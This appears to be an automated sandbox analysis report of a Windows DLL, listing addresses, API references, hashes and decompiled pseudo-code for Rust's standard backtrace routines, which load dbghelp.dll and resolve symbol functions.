0x6ebed73c
0x6ebed73f
0x6ebed745
0x6ebed74a
0x6ebed74f
0x6ebed752
0x6ebed754
0x6ebed757
0x00000000
0x6ebed75d
0x6ebed760
0x6ebed771
0x6ebed776
0x6ebed779
0x6ebed77e
0x6ebed783
0x6ebed785
0x6ebed788
0x6ebed78f
0x6ebed792
0x6ebed799
0x6ebed79f
0x6ebed7c2
0x6ebed7c7
0x6ebed7cb
0x6ebed7cd
0x6ebed7cf
0x6ebed7d2
0x6ebed7df
0x6ebed7e4
0x6ebed7ea
0x6ebed7ed
0x6ebed7ed
0x6ebed7f0
0x6ebed7f3
0x6ebed7f5
0x6ebed7f8
0x6ebed7a1
0x6ebed800
0x6ebed800
0x6ebed806
0x6ebed806
0x6ebed80d
0x6ebed80d
0x6ebed812
0x6ebed81d
0x6ebed823
0x6ebed825
0x6ebed827
0x6ebed833
0x6ebed833
0x6ebed835
0x6ebed7b0
0x6ebed7b0
0x6ebed7b2
0x6ebed7b4
0x6ebed876
0x6ebed879
0x6ebed880
0x6ebed882
0x00000000
0x6ebed888
0x6ebed88e
0x6ebed88f
0x6ebed894
0x6ebed897
0x6ebed89a
0x6ebed89d
0x6ebed8a0
0x6ebed8a2
0x6ebed8a5
0x6ebed8a7
0x00000000
0x00000000
0x6ebed8a9
0x00000000
0x6ebed8a7
0x6ebed7ba
0x6ebed7ba
0x6ebed7c0
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed7c0
0x6ebed83b
0x6ebed83b
0x6ebed841
0x6ebed844
0x00000000
0x6ebed84a
0x6ebed84a
0x6ebed84c
0x6ebed852
0x00000000
0x6ebed854
0x00000000
0x6ebed854
0x00000000
0x6ebed852
0x6ebed844
0x6ebed829
0x6ebed829
0x6ebed82f
0x6ebed831
0x6ebed8ab
0x6ebed8ad
0x6ebed8b3
0x6ebed8b5
0x6ebed8b7
0x6ebed8ba
0x6ebed8bc
0x6ebed8be
0x6ebed8be
0x6ebed8c2
0x6ebed8c4
0x6ebed8c9
0x6ebed8d6
0x6ebed8d9
0x6ebed8de
0x6ebed8de
0x6ebed8c9
0x6ebed8c2
0x6ebed8e1
0x6ebed8e1
0x6ebed8e3
0x6ebed93d
0x6ebed940
0x6ebed942
0x6ebed945
0x6ebed8e5
0x6ebed8e8
0x6ebed8eb
0x6ebed8f1
0x6ebed8f8
0x6ebed900
0x6ebed903
0x6ebed905
0x6ebed908
0x6ebed90b
0x6ebed90e
0x6ebed912
0x6ebed914
0x6ebed916
0x6ebed91a
0x6ebed91c
0x6ebed91c
0x6ebed928
0x6ebed928
0x6ebed936
0x6ebed936
0x6ebed8f1
0x6ebed948
0x6ebed94f
0x6ebed960
0x6ebed960
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed831
0x6ebed827
0x6ebed62e
0x6ebed62e
0x6ebed630
0x6ebed632
0x6ebed632
0x6ebed636
0x00000000
0x00000000
0x6ebed638
0x6ebed63d
0x00000000
0x6ebed63f
0x6ebed63f
0x6ebed644
0x00000000
0x6ebed646
0x6ebed646
0x6ebed64b
0x00000000
0x6ebed64d
0x6ebed64d
0x6ebed652
0x00000000
0x6ebed654
0x6ebed654
0x6ebed659
0x00000000
0x6ebed65b
0x6ebed65b
0x6ebed660
0x00000000
0x6ebed662
0x6ebed662
0x6ebed667
0x00000000
0x6ebed669
0x6ebed669
0x6ebed66c
0x6ebed66f
0x6ebed672
0x00000000
0x00000000
0x00000000
0x00000000
0x6ebed672
0x6ebed667
0x6ebed660
0x6ebed659
0x6ebed652
0x6ebed64b
0x6ebed644
0x00000000
0x6ebed63d
0x6ebed694
0x6ebed694
0x6ebed697
0x6ebed69e
0x6ebed6a5
0x6ebed6a7
0x6ebed6a9
0x6ebed6ab
0x6ebed6ad
0x6ebed6b3
0x6ebed6be
0x6ebed6be
0x6ebed6b3
0x6ebed6ab
0x6ebed6c3
0x6ebed6c7
0x6ebed6cd
0x6ebed6d2
0x6ebed6d5
0x6ebed6d8
0x6ebed6e0
0x6ebed6e2
0x6ebed6e5
0x6ebed6e8
0x6ebed6eb
0x6ebed6ef
0x6ebed6f1
0x6ebed6f3
0x6ebed6f7
0x6ebed6f9
0x6ebed6f9
0x6ebed705
0x6ebed70a
0x6ebed70a
0x6ebed716
0x6ebed716
0x6ebed859
0x6ebed85c
0x6ebed862
0x6ebed862
0x6ebed865
0x6ebed875
0x6ebed875
0x00000000
0x6ebed62c
0x6ebed43d
0x6ebed3bc
0x6ebed3bc
0x6ebed3c3
0x6ebed96a
0x6ebed96f
0x6ebed974
0x6ebed979
0x6ebed97b
0x6ebed982
0x6ebed98a
0x6ebed994
0x6ebed99f
0x6ebed9af
0x6ebed3c9
0x6ebed3c9
0x00000000
0x6ebed3c9
0x6ebed3c3
0x00000000

APIs

GetProcessHeap.KERNEL32 ref: 6EBED3BC
HeapAlloc.KERNEL32(00820000,00000000,0000000A), ref: 6EBED3D3

Strings

RUST_BACKTRACE, xrefs: 6EBED48A, 6EBED4C0

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$AllocProcess
String ID: RUST_BACKTRACE
API String ID: 1617791916-3454309823
Opcode ID: e904975876588d02c8605357217324ed664ad415ed1596d42c7db9a9b8f9654f
Instruction ID: 02666cb52d6be35ed9e8b2534bf5d538e9e5fb44b349514f6091f4ecbfbbad9c
Opcode Fuzzy Hash: e904975876588d02c8605357217324ed664ad415ed1596d42c7db9a9b8f9654f
Instruction Fuzzy Hash: 5B02BCB1E002588FDB10CFE8E9907DDBBB1EF89354F144129E419B7A90D7B1A885CF95

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEE4E0, Relevance: 26.4, APIs: 9, Strings: 6, Instructions: 135
libraryloadersynchronizationCOMMON

Download Yara Rule

C-Code - Quality: 52%

			E6EBEE4E0(void* __ebx, void* __edi, void* __esi, char _a8) {
				int _v20;
				intOrPtr _v24;
				char _v28;
				intOrPtr _v32;
				void* _v36;
				void* __ebp;
				void* _t15;
				struct HINSTANCE__* _t20;
				signed int _t21;
				void* _t23;
				_Unknown_base(*)()* _t25;
				_Unknown_base(*)()* _t28;
				_Unknown_base(*)()* _t30;
				void* _t35;
				_Unknown_base(*)()* _t38;
				_Unknown_base(*)()* _t39;
				signed int _t50;
				_Unknown_base(*)()* _t52;
				void* _t59;

				_t48 = __edi;
				_push(__edi);
				_v32 = _t59 - 0x14;
				_v20 = 0xffffffff;
				_v24 = E6EBF39F0;
				_v28 =  *[fs:0x0];
				 *[fs:0x0] =  &_v28;
				_t35 =  *0x6ec3e124; // 0x0
				if(_t35 == 0) {
					_t15 = CreateMutexA(0, 0, "Local\\RustBacktraceMutex");
					__eflags = _t15;
					if(_t15 == 0) {
						_t54 = 1;
						goto L19;
					} else {
						_t35 = _t15;
						__eflags = 0;
						asm("lock cmpxchg [0x6ec3e124], ebx");
						if(0 != 0) {
							CloseHandle(_t35);
							_t35 = 0;
						}
						goto L1;
					}
				} else {
					L1:
					WaitForSingleObjectEx(_t35, 0xffffffff, 0);
					_t20 =  *0x6ec3e130; // 0x0
					if(_t20 != 0) {
						L3:
						_t54 = 0;
						if( *0x6ec3e164 != 0) {
							goto L19;
						} else {
							_t38 =  *0x6ec3e134; // 0x0
							if(_t38 != 0) {
								L7:
								_t21 =  *_t38();
								_t39 =  *0x6ec3e138; // 0x0
								_t50 = _t21;
								if(_t39 != 0) {
									L10:
									 *_t39(_t50 | 0x00000004);
									_t52 =  *0x6ec3e13c; // 0x0
									if(_t52 != 0) {
										L13:
										_t23 = GetCurrentProcess();
										 *_t52(_t23, 0, 1);
										 *0x6ec3e164 = 1;
										goto L19;
									} else {
										_t25 = GetProcAddress( *0x6ec3e130, "SymInitializeW");
										if(_t25 == 0) {
											_v36 = _t35;
											_v20 = 0;
											E6EC094E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t52, _t54, __eflags, 0x6ec304bc);
											goto L23;
										} else {
											_t52 = _t25;
											 *0x6ec3e13c = _t25;
											goto L13;
										}
									}
								} else {
									_t28 = GetProcAddress( *0x6ec3e130, "SymSetOptions");
									if(_t28 == 0) {
										_v36 = _t35;
										_v20 = 0;
										E6EC094E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t50, _t54, __eflags, 0x6ec304ac);
										goto L23;
									} else {
										_t39 = _t28;
										 *0x6ec3e138 = _t28;
										goto L10;
									}
								}
							} else {
								_t30 = GetProcAddress(_t20, "SymGetOptions");
								if(_t30 == 0) {
									_v36 = _t35;
									_v20 = 0;
									E6EC094E0(_t35, "called `Option::unwrap()` on a `None` value", 0x2b, _t48, 0, __eflags, 0x6ec3049c);
									L23:
									asm("ud2");
									__eflags =  &_a8;
									return E6EBEE6D0(_v36);
								} else {
									_t38 = _t30;
									 *0x6ec3e134 = _t30;
									goto L7;
								}
							}
						}
					} else {
						_t20 = LoadLibraryA("dbghelp.dll");
						 *0x6ec3e130 = _t20;
						if(_t20 == 0) {
							ReleaseMutex(_t35);
							_t54 = 1;
							L19:
							 *[fs:0x0] = _v28;
							return _t54;
						} else {
							goto L3;
						}
					}
				}
			}

0x6ebee4e0
0x6ebee4e4
0x6ebee4e9
0x6ebee4ec
0x6ebee4f3
0x6ebee504
0x6ebee507
0x6ebee50d
0x6ebee515
0x6ebee5f5
0x6ebee5fa
0x6ebee5fc
0x6ebee620
0x00000000
0x6ebee5fe
0x6ebee5fe
0x6ebee600
0x6ebee602
0x6ebee60a
0x6ebee613
0x6ebee619
0x6ebee619
0x00000000
0x6ebee60a
0x6ebee51b
0x6ebee51b
0x6ebee520
0x6ebee525
0x6ebee52c
0x6ebee545
0x6ebee545
0x6ebee54e
0x00000000
0x6ebee554
0x6ebee554
0x6ebee55c
0x6ebee579
0x6ebee579
0x6ebee57b
0x6ebee581
0x6ebee585
0x6ebee5a7
0x6ebee5ab
0x6ebee5ad
0x6ebee5b5
0x6ebee5d7
0x6ebee5d7
0x6ebee5e1
0x6ebee5e3
0x00000000
0x6ebee5b7
0x6ebee5c2
0x6ebee5ca
0x6ebee68d
0x6ebee690
0x6ebee6a6
0x00000000
0x6ebee5d0
0x6ebee5d0
0x6ebee5d2
0x00000000
0x6ebee5d2
0x6ebee5ca
0x6ebee587
0x6ebee592
0x6ebee59a
0x6ebee66a
0x6ebee66d
0x6ebee683
0x00000000
0x6ebee5a0
0x6ebee5a0
0x6ebee5a2
0x00000000
0x6ebee5a2
0x6ebee59a
0x6ebee55e
0x6ebee564
0x6ebee56c
0x6ebee647
0x6ebee64a
0x6ebee660
0x6ebee6ae
0x6ebee6ae
0x6ebee6b4
0x6ebee6c3
0x6ebee572
0x6ebee572
0x6ebee574
0x00000000
0x6ebee574
0x6ebee56c
0x6ebee55c
0x6ebee52e
0x6ebee533
0x6ebee53a
0x6ebee53f
0x6ebee628
0x6ebee62d
0x6ebee632
0x6ebee637
0x6ebee646
0x00000000
0x00000000
0x00000000
0x6ebee53f
0x6ebee52c

APIs

WaitForSingleObjectEx.KERNEL32(00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE520
LoadLibraryA.KERNEL32(dbghelp.dll,00000000,000000FF,00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE533
GetProcAddress.KERNEL32(00000000,SymGetOptions), ref: 6EBEE564
GetProcAddress.KERNEL32(SymSetOptions), ref: 6EBEE592
GetProcAddress.KERNEL32(SymInitializeW), ref: 6EBEE5C2
GetCurrentProcess.KERNEL32 ref: 6EBEE5D7
CreateMutexA.KERNEL32(00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE5F5
CloseHandle.KERNEL32(00000000,00000000,00000000,Local\RustBacktraceMutex), ref: 6EBEE613

Part of subcall function 6EBEE6D0: ReleaseMutex.KERNEL32(?,6EBEE448), ref: 6EBEE6D1

Strings

SymGetOptions, xrefs: 6EBEE55E
SymSetOptions, xrefs: 6EBEE587
SymInitializeW, xrefs: 6EBEE5B7
called `Option::unwrap()` on a `None` value, xrefs: 6EBEE651, 6EBEE674, 6EBEE697
Local\RustBacktraceMutex, xrefs: 6EBEE5EC
dbghelp.dll, xrefs: 6EBEE52E

Memory Dump Source

Source File: 00000001.00000002.719649358.000000006EBE1000.00000020.00020000.sdmp, Offset: 6EBE0000, based on PE: true

Associated: 00000001.00000002.719635271.000000006EBE0000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719749035.000000006EC0A000.00000002.00020000.sdmp Download File
Associated: 00000001.00000002.719939198.000000006EC3D000.00000004.00020000.sdmp Download File
Associated: 00000001.00000002.719952409.000000006EC3F000.00000008.00020000.sdmp Download File
Associated: 00000001.00000002.719965669.000000006EC40000.00000002.00020000.sdmp Download File

Similarity

API ID: AddressProc$Mutex$CloseCreateCurrentHandleLibraryLoadObjectProcessReleaseSingleWait
String ID: Local\RustBacktraceMutex$SymGetOptions$SymInitializeW$SymSetOptions$called `Option::unwrap()` on a `None` value$dbghelp.dll
API String ID: 1067696788-3213342004
Opcode ID: 2926b49e4c5c2f1ab0210125e417ce0a3023719fc2a241d9039588e025ee0056
Instruction ID: ea27c71fa9d764eb9cc7b2d8d9a7e3ded4361cfd7b1416c091c7e366da800832
Opcode Fuzzy Hash: 2926b49e4c5c2f1ab0210125e417ce0a3023719fc2a241d9039588e025ee0056
Instruction Fuzzy Hash: F841E271A007859FEF20DFE48E5179E7BB8AB45754F100438E816AB782FB759801CBA2

Uniqueness

Uniqueness Score: -1.00%

Function 6EBEE6E0, Relevance: 25.1, APIs: 9, Strings: 5, Instructions: 588
libraryloaderCOMMONCrypto

Download Yara Rule

C-Code - Quality: 52%

			E6EBEE6E0(void* __ebx, intOrPtr __ecx, signed int __edx, void* __edi, void* __esi) {
				void* _v16;
				char _v4528;
				void* __ebp;
				char* _t225;
				void* _t234;
				void* _t237;
				signed int _t240;
				signed int _t243;
				signed char _t249;
				intOrPtr _t250;
				void* _t255;
				intOrPtr _t256;
				signed int _t258;
				signed char _t262;
				signed int _t265;
				signed short _t267;
				signed short* _t269;
				signed int _t273;
				void* _t277;
				void* _t278;
				intOrPtr _t279;
				signed int _t281;
				void* _t283;
				intOrPtr _t284;
				signed int _t286;
				signed short _t290;
				signed int _t292;
				signed short* _t293;
				signed short _t294;
				signed int _t297;
				signed int _t298;
				signed int _t301;
				signed int _t302;
				signed int _t304;
				signed int _t309;
				signed int _t310;
				signed int _t312;
				signed short* _t317;
				intOrPtr _t321;
				intOrPtr _t322;
				void* _t328;
				signed int _t330;
				intOrPtr _t333;
				signed int _t337;
				void* _t338;
				void* _t346;
				intOrPtr _t350;
				signed short* _t353;
				signed int _t354;
				signed int _t357;
				void* _t358;
				signed int _t365;
				void* _t366;
				signed short* _t369;
				signed int _t371;
				signed int _t373;
				signed short* _t379;
				signed int _t381;
				signed char _t384;
				signed char _t385;
				intOrPtr _t392;
				signed int* _t393;
				signed char _t394;
				signed int _t397;
				signed char _t398;
				signed int _t399;
				signed int _t400;
				signed short _t401;
				signed int _t407;
				signed int _t409;
				signed char _t410;
				signed int _t411;
				signed short _t412;
				signed int _t418;
				intOrPtr _t421;
				signed int _t423;
				signed int _t424;

				_t365 = __edx;
				_t321 = __ecx;
				_push(__ebx);
				_push(__edi);
				_push(__esi);
				_t424 = _t423 & 0xfffffff0;
				E6EBFC6C0(0x11b0);
				_t418 = _t424;
				 *((intOrPtr*)(_t418 + 0x1198)) = _t421;
				 *(_t418 + 0x119c) = _t424;
				 *(_t418 + 0x11a8) = 0xffffffff;
				 *((intOrPtr*)(_t418 + 0x11a4)) = E6EBF3A00;
				 *((intOrPtr*)(_t418 + 0x11a0)) =  *[fs:0x0];
				 *[fs:0x0] = _t418 + 0x11a0;
				 *((intOrPtr*)(_t418 + 0x5c)) = __edx;
				_t225 =  *((intOrPtr*)(__ecx));
				if( *_t225 != 0 ||  *((intOrPtr*)( *((intOrPtr*)(__ecx + 4)))) <= 0x64) {
					_t392 =  *((intOrPtr*)(_t321 + 8));
					_t301 =  *(_t321 + 0xc);
					 *((intOrPtr*)(_t418 + 0x80)) = _t321;
					_t322 =  *((intOrPtr*)(_t321 + 0x10));
					 *(_t418 + 0x1c) = _t365;
					_t366 = _t418 + 0x12;
					 *(_t418 + 0x12) = 0;
					 *((char*)(_t418 + 0x13)) = 0;
					 *(_t418 + 0x84) = _t366;
					 *((intOrPtr*)(_t418 + 0x88)) = _t225;
					 *((intOrPtr*)(_t418 + 0x8c)) = _t392;
					 *((intOrPtr*)(_t418 + 0x90)) = _t418 + 0x13;
					 *(_t418 + 0x94) = _t301;
					 *((intOrPtr*)(_t418 + 0x98)) = _t322;
					 *((intOrPtr*)(_t418 + 0x7c)) = _t392;
					 *(_t418 + 0x58) = _t301;
					 *((intOrPtr*)(_t418 + 0x78)) = _t322;
					 *((intOrPtr*)(_t418 + 0x9c)) = _t418 + 0x5c;
					if(E6EBEE4E0(_t301, _t392, _t418) == 0) {
						_t393 =  *(_t418 + 0x1c);
						 *(_t418 + 0x2c) = _t366;
						__eflags =  *_t393 ^ 0x00000001 | _t393[1];
						if(( *_t393 ^ 0x00000001 | _t393[1]) != 0) {
							E6EBFE9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t302 =  *0x6ec3e15c; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t302;
							if(_t302 != 0) {
								L33:
								_t234 = GetCurrentProcess();
								_t394 = _t393[0x45];
								 *(_t418 + 0x18) = _t234;
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t369 =  <  ? 0 : _t393[2] - 1;
								 *(_t418 + 0x20) = _t394;
								 *(_t418 + 0x30) = _t369;
								_t237 =  *_t302( *(_t418 + 0x18), _t369, 0, _t394, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t237 - 1;
								if(_t237 != 1) {
									goto L75;
								} else {
									_t250 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t304 = _t418 + 0x1f4;
									_t371 = _t418 + 0xa0;
									 *(_t418 + 0xc) = 0;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t328 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t250 - _t328;
									_t329 =  <=  ? _t250 : _t328;
									_t330 = 0;
									 *(_t418 + 0x14) = _t418 + 0x1f4 + ( <=  ? _t250 : _t328) * 2;
									__eflags = 0;
									 *(_t418 + 0x18) = 0x100;
									if(0 == 0) {
										L37:
										__eflags = _t304 -  *(_t418 + 0x14);
										if(_t304 !=  *(_t418 + 0x14)) {
											_t400 = _t304;
											_t304 = _t304 + 2;
											__eflags = _t304;
											_t401 =  *_t400 & 0x0000ffff;
											goto L39;
										}
									} else {
										asm("o16 nop [cs:eax+eax]");
										L36:
										_t401 = _t330 >> 0x10;
										L39:
										 *(_t418 + 0x1c) = _t330 & 0xffff0000;
										__eflags = (_t401 & 0x0000f800) - 0xd800;
										if((_t401 & 0x0000f800) != 0xd800) {
											 *(_t418 + 0x24) = _t304;
											_t337 = _t401 & 0x0000ffff;
											_t262 = 0;
										} else {
											_t269 = _t304;
											_t337 = 0;
											__eflags = (_t401 & 0x0000ffff) - 0xdbff;
											if((_t401 & 0x0000ffff) <= 0xdbff) {
												_t309 =  *(_t418 + 0x14);
												__eflags = _t269 - _t309;
												if(_t269 == _t309) {
													 *(_t418 + 0x24) = _t309;
													goto L48;
												} else {
													_t310 =  *_t269 & 0x0000ffff;
													 *(_t418 + 0x24) =  &(_t269[1]);
													 *(_t418 + 0x28) = _t310;
													__eflags = (_t310 & 0x0000fc00) - 0xdc00;
													if((_t310 & 0x0000fc00) != 0xdc00) {
														 *(_t418 + 0x1c) = ( *(_t418 + 0x28) & 0x0000ffff) << 0x00000010 | 0x00000001;
														asm("o16 nop [eax+eax]");
														goto L48;
													} else {
														_t262 = 0;
														_t337 = ( *(_t418 + 0x28) + 0x00002400 & 0x0000ffff | (_t401 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											} else {
												 *(_t418 + 0x24) = _t269;
												L48:
												_t262 = 1;
											}
										}
										_t304 =  *(_t418 + 0x18);
										__eflags = _t262 & 0x00000001;
										_t394 = 1;
										_t338 =  !=  ? 0xfffd : _t337;
										__eflags = _t338 - 0x80;
										if(_t338 >= 0x80) {
											_t394 = 2;
											__eflags = _t338 - 0x800;
											if(_t338 >= 0x800) {
												__eflags = _t338 - 0x10000;
												_t394 = 4;
												asm("sbb edi, 0x0");
											}
										}
										_t265 = _t304 - _t394;
										__eflags = _t265;
										 *(_t418 + 0x28) = _t265;
										if(_t265 > 0) {
											 *(_t418 + 0x34) = _t394;
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x18) = _t371;
											E6EBEDB50(_t304, _t338, _t371, _t394, _t418, _t421, _t304);
											_t424 = _t424 + 4;
											_t267 =  *(_t418 + 0x34);
											_t330 =  *(_t418 + 0x1c);
											_t304 =  *(_t418 + 0x24);
											_t371 =  *(_t418 + 0x18) + _t267;
											 *(_t418 + 0xc) =  *(_t418 + 0xc) + _t267;
											__eflags = _t330;
											 *(_t418 + 0x18) =  *(_t418 + 0x28);
											if(_t330 != 0) {
												goto L36;
											} else {
												goto L37;
											}
										}
									}
									__eflags =  *(_t418 + 0xc) - 0x101;
									if(__eflags >= 0) {
										 *(_t418 + 0x11a8) = 0;
										E6EC09470(_t304,  *(_t418 + 0xc), 0x100, _t394, _t418, __eflags, 0x6ec309ec);
										goto L87;
									} else {
										_t397 =  *0x6ec3e160; // 0x0
										asm("xorps xmm0, xmm0");
										 *(_t418 + 0x74) = 0;
										 *(_t418 + 0x70) = 0;
										asm("movaps [esi+0x60], xmm0");
										 *((intOrPtr*)(_t418 + 0x60)) = 0x18;
										__eflags = _t397;
										if(_t397 != 0) {
											L67:
											_t255 = GetCurrentProcess();
											_t333 = _t418 + 0x60;
											 *(_t418 + 0x38) = 0;
											_t373 = _t418 + 0x38;
											_t256 =  *_t397(_t255,  *(_t418 + 0x30), 0,  *(_t418 + 0x20), 0, 0, _t373, _t333);
											__eflags = _t256 - 1;
											if(_t256 != 1) {
												_t398 = 0;
												__eflags = 0;
											} else {
												_t256 =  *((intOrPtr*)(_t418 + 0x68));
												_t333 =  *((intOrPtr*)(_t418 + 0x6c));
												_t399 = 0;
												__eflags = 0;
												asm("o16 nop [cs:eax+eax]");
												do {
													_t373 = _t399;
													_t399 = _t399 + 1;
													__eflags =  *((short*)(_t333 + _t373 * 2));
												} while ( *((short*)(_t333 + _t373 * 2)) != 0);
												 *(_t418 + 0x11a8) = 0;
												_t398 = 1;
											}
											 *(_t418 + 0x11a8) = 0;
											 *(_t418 + 0x38) = _t418 + 0xa0;
											 *(_t418 + 0x3c) =  *(_t418 + 0xc);
											 *((intOrPtr*)(_t418 + 0x40)) =  *((intOrPtr*)(_t418 + 0x1d8));
											 *(_t418 + 0x44) = _t398;
											 *((intOrPtr*)(_t418 + 0x48)) = _t256;
											 *(_t418 + 0x4c) = _t398;
											 *((intOrPtr*)(_t418 + 0x50)) = _t333;
											 *(_t418 + 0x54) = _t373;
											E6EBEF860(_t418 + 0x84, _t418 + 0x38);
											goto L75;
										} else {
											_t258 = GetProcAddress( *0x6ec3e130, "SymGetLineFromInlineContextW");
											__eflags = _t258;
											if(__eflags == 0) {
												 *(_t418 + 0x11a8) = 0;
												E6EC094E0(_t304, "called `Option::unwrap()` on a `None` value", 0x2b, _t397, _t418, __eflags, 0x6ec30ad0);
												goto L87;
											} else {
												_t397 = _t258;
												 *0x6ec3e160 = _t258;
												goto L67;
											}
										}
									}
								}
							} else {
								_t273 = GetProcAddress( *0x6ec3e130, "SymFromInlineContextW");
								__eflags = _t273;
								if(__eflags == 0) {
									 *(_t418 + 0x11a8) = 0;
									E6EC094E0(_t302, "called `Option::unwrap()` on a `None` value", 0x2b, _t393, _t418, __eflags, 0x6ec30ad0);
									goto L87;
								} else {
									_t302 = _t273;
									 *0x6ec3e15c = _t273;
									goto L33;
								}
							}
						} else {
							_t312 = _t393[2];
							E6EBFE9D0(_t393, _t418 + 0x1a4, 0, 0xff4);
							_t424 = _t424 + 0xc;
							_t407 =  *0x6ec3e150; // 0x0
							 *((intOrPtr*)(_t418 + 0x1f0)) = 0x7d0;
							 *((intOrPtr*)(_t418 + 0x1a0)) = 0x58;
							__eflags = _t407;
							if(_t407 != 0) {
								L9:
								_t277 = GetCurrentProcess();
								 *(_t418 + 0xa4) = 0;
								 *(_t418 + 0xa0) = 0;
								_t278 =  *_t407(_t277, _t312, 0, _t418 + 0xa0, _t418 + 0x1a0);
								__eflags = _t278 - 1;
								if(_t278 != 1) {
									L75:
									ReleaseMutex( *(_t418 + 0x2c));
									__eflags =  *((char*)(_t418 + 0x13));
									if( *((char*)(_t418 + 0x13)) != 0) {
										goto L4;
									} else {
										goto L76;
									}
									goto L80;
								} else {
									_t279 =  *((intOrPtr*)(_t418 + 0x1ec));
									asm("xorps xmm0, xmm0");
									_t408 = 0x100;
									 *(_t418 + 0x20) = 0;
									 *(_t418 + 0x14) = _t312;
									asm("movaps [esi+0x190], xmm0");
									asm("movaps [esi+0x180], xmm0");
									asm("movaps [esi+0x170], xmm0");
									asm("movaps [esi+0x160], xmm0");
									asm("movaps [esi+0x150], xmm0");
									asm("movaps [esi+0x140], xmm0");
									asm("movaps [esi+0x130], xmm0");
									asm("movaps [esi+0x120], xmm0");
									asm("movaps [esi+0x110], xmm0");
									asm("movaps [esi+0x100], xmm0");
									asm("movaps [esi+0xf0], xmm0");
									asm("movaps [esi+0xe0], xmm0");
									asm("movaps [esi+0xd0], xmm0");
									asm("movaps [esi+0xc0], xmm0");
									asm("movaps [esi+0xb0], xmm0");
									asm("movaps [esi+0xa0], xmm0");
									_t346 =  *((intOrPtr*)(_t418 + 0x1f0)) - 1;
									__eflags = _t279 - _t346;
									_t347 =  <=  ? _t279 : _t346;
									_t379 = _t418 + 0x1f4 + ( <=  ? _t279 : _t346) * 2;
									 *(_t418 + 0xc) = _t418 + 0x1f4;
									_t281 = 0;
									 *(_t418 + 0x30) = _t379;
									__eflags = 0;
									 *(_t418 + 0x1c) = _t418 + 0xa0;
									 *(_t418 + 0x28) = 0x100;
									if(0 == 0) {
										L13:
										__eflags =  *(_t418 + 0xc) - _t379;
										if( *(_t418 + 0xc) != _t379) {
											_t353 =  *(_t418 + 0xc);
											_t412 =  *_t353 & 0x0000ffff;
											_t354 =  &(_t353[1]);
											__eflags = _t354;
											 *(_t418 + 0xc) = _t354;
											goto L15;
										}
									} else {
										L12:
										_t412 = _t281 >> 0x10;
										L15:
										 *(_t418 + 0x18) = _t281 & 0xffff0000;
										__eflags = (_t412 & 0x0000f800) - 0xd800;
										if((_t412 & 0x0000f800) != 0xd800) {
											_t357 = _t412 & 0x0000ffff;
											_t384 = 0;
										} else {
											_t357 = 0;
											_t384 = 1;
											__eflags = (_t412 & 0x0000ffff) - 0xdbff;
											if((_t412 & 0x0000ffff) <= 0xdbff) {
												_t317 =  *(_t418 + 0xc);
												_t293 =  *(_t418 + 0x30);
												__eflags = _t317 - _t293;
												if(_t317 == _t293) {
													 *(_t418 + 0xc) = _t293;
												} else {
													_t294 =  *_t317 & 0x0000ffff;
													 *(_t418 + 0xc) =  &(_t317[1]);
													__eflags = (_t294 & 0x0000fc00) - 0xdc00;
													if((_t294 & 0x0000fc00) != 0xdc00) {
														_t297 = (_t294 & 0x0000ffff) << 0x00000010 | 0x00000001;
														__eflags = _t297;
														 *(_t418 + 0x18) = _t297;
													} else {
														_t384 = 0;
														_t357 = (_t294 + 0x00002400 & 0x0000ffff | (_t412 + 0x00002800 & 0x0000ffff) << 0x0000000a) + 0x10000;
													}
												}
											}
											_t312 =  *(_t418 + 0x14);
										}
										__eflags = _t384 & 0x00000001;
										_t385 = 1;
										_t358 =  !=  ? 0xfffd : _t357;
										_t290 =  *(_t418 + 0x28);
										__eflags = _t358 - 0x80;
										if(_t358 >= 0x80) {
											_t385 = 2;
											__eflags = _t358 - 0x800;
											if(_t358 >= 0x800) {
												__eflags = _t358 - 0x10000;
												_t385 = 4;
												asm("sbb edx, 0x0");
											}
										}
										_t408 = _t290 - _t385;
										__eflags = _t408;
										if(_t408 > 0) {
											 *(_t418 + 0x24) = _t385;
											 *(_t418 + 0x34) = _t408;
											 *(_t418 + 0x11a8) = 0;
											E6EBEDB50(_t312, _t358,  *(_t418 + 0x1c), _t408, _t418, _t421, _t290);
											_t424 = _t424 + 4;
